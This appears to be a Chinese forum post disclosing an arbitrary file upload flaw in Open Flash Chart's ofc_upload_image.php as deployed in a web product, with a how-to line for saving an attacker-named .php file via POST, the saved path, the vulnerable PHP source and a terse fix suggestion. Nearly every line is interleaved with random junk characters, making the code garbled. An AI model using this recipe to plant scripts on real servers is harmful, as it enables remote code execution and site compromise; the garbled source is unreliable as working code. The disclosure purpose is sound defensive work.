POST 数据漏洞文件执行任意后缀文件保存3 c* ^* ~* D; c& P0 f
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
5 ~$ @, d. W |- d7 ~
2 Y# g M- ]0 {9 s' F利用:
% e) B# X+ l' K# @! j. U" N/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
4 B5 S: Q4 ^1 C! T. P4 f9 B- \% T! Q3 W# R) w9 M) A& i" _4 S
Post任意数据
7 _/ c( N0 k$ l7 v1 G5 f8 Z- C保存位置http://localhost/chart/tmp-upload-images/hfy.php+ {# g+ |0 a) f" P: _
4 i2 \8 u# y# e% s- V5 A/ h
6 F8 D. B, w2 N' _
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~% M7 i- h0 Z+ [: b0 C8 N, B
) g5 K0 H/ m' E4 A* J6 \<?php
# {" I k4 i! S k) e) L
. A% `; u1 W/ O//! Q7 H5 j! S* I: P& m, O& w
// In Open Flash Chart -> save_image debug mode, you
& h3 `. C. |+ p( v6 ?0 O8 T// will see the 'echo' text in a new window.
2 g, s/ @1 d0 [7 `//$ ]9 R' G7 ?$ {$ K4 W5 {
" l/ ?1 `7 N8 z/ s' U: A- l
/*1 E! F$ x- s* B. |% F" J
& c8 t8 T$ _! L. X
print_r( $_GET );5 J; ^% t% Z3 w" C. g0 Q3 Z! }
print_r( $_POST );
' ?# f3 {/ [1 Y9 ], oprint_r( $_FILES );
0 i/ I9 d# s; J# _! {7 h3 n# B6 ]" I+ r Y2 f- f$ P* @
print_r( $GLOBALS );
( x$ D. |6 ^4 C, h$ A2 R2 Aprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
6 @. l! J' d! |7 \( D
" [% J j0 f0 J+ J- a5 R*/
v' ~. G8 A% r( d! {1 }3 L, W# P// default path for the image to be stored //
0 _. d+ G# v* f ]9 @$default_path = '../tmp-upload-images/';
7 y( e v8 u& F+ j: {
' _3 v6 Y4 M/ Y) T* F5 k" z2 Rif (!file_exists($default_path)) mkdir($default_path, 0777, true);7 I6 I. n' x, I4 u z y' {
~; N' h* ?( T
// full path to the saved image including filename //
8 I" q9 g9 I, m# U( l i3 s- \$destination = $default_path . basename( $_GET[ 'name' ] );
- u: h. P2 @* i6 E+ y+ n1 A& I+ {/ X3 U+ o8 e
echo 'Saving your image to: '. $destination;
: x- `1 B' p$ _2 W3 x' F% j3 L# i// print_r( $_POST );/ j! C. |/ m7 }5 ~% c8 s. d3 G# e
// print_r( $_SERVER );' T; N9 ~2 ^4 o& j+ @, \. M
// echo $HTTP_RAW_POST_DATA;
' v( N0 P& v7 v% a
$ y. O* `$ U( T# @9 V( W0 d1 S, @//; }: I0 O8 }$ H4 w
// POST data is usually string data, but we are passing a RAW .png+ ^* O% k# r5 r% }- [- l6 i# ?
// so PHP is a bit confused and $_POST is empty. But it has saved0 ?7 P1 P+ }, n$ |; U2 @
// the raw bits into $HTTP_RAW_POST_DATA% P$ I, ?# M! Q1 d
//
$ G5 _* O5 {4 X; _# K! I% a! {" P1 G8 y" d# R" Q* {
$jfh = fopen($destination, 'w') or die("can't open file");
3 [/ H* M+ `. {) S* \9 |fwrite($jfh, $HTTP_RAW_POST_DATA);
: o6 S, d% W0 ~fclose($jfh);2 G! F3 C" D4 s0 c3 Q
8 H. [1 W, `% P- C+ b Z
//
3 r' Y. D. {/ B2 C5 Y! F/ d4 ?// LOOK:
3 Q% X6 v6 K2 D% w" b3 G' F8 e//! i# J% G; d: q3 m
exit();
$ j& U+ E% C& @" P4 s5 c; N# J//
3 w: A& o7 C5 M+ A3 {# r! X, w// PHP5:( x6 r) T7 B2 \& R
//
/ H% z- J( v9 U( I% j4 K- H
8 T- T- k: u4 N# _" v1 g/ c: G: z
// default path for the image to be stored //' L9 f% P( A; I: p
$default_path = 'tmp-upload-images/';
7 A9 t0 Q L7 W: l7 o9 z# F
8 s& C5 J6 W5 b& V) Y4 @' Cif (!file_exists($default_path)) mkdir($default_path, 0777, true);. A% Y1 P; o$ Y, b: S6 t
1 U7 A& R6 T& G9 |) H// full path to the saved image including filename //
0 B. q; `3 a( p" x1 l' u( a$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
5 s- v& {1 W$ d- r3 p6 M) h! F' ^* K- S, i/ d" ?1 p
// move the image into the specified directory //0 M0 x" T! k* K# `
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {6 r: T' U1 A5 A0 H& ]/ l! j! j4 w
echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";% s; Z* O9 b) q, F& u
} else {
" ~: h' Z# [! F echo "FILE UPLOAD FAILED";
# A1 V$ w( q8 z7 a; _; N' b) a" i}3 X. z9 t' A) W9 i, s
$ x1 t9 c) i& j
' w" l i$ h Q. o4 C?>$ J9 ~1 m5 a) [+ e& k
! O& Q2 o4 ]0 B8 V" ?
. t/ d2 \( Z/ O6 ^* s" F+ Z7 D8 a( r# l5 [2 u
; g: o" A$ G) V5 P' p; L
0 ~( C! q( l( @/ ^" H# \
0 y* @7 P% @ b9 i! p8 W修复方案: 0 Y: S2 Q" l) X; C; h' d
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 ; w0 B" f2 A( n8 {3 b( A+ l6 s
* t: A _% Y9 t- X1 L- s& G" j i9 A M. a a l" L T; \
( [4 b" h6 y1 [8 X# @" ?
% p% [( a6 I5 ^) }7 s( G |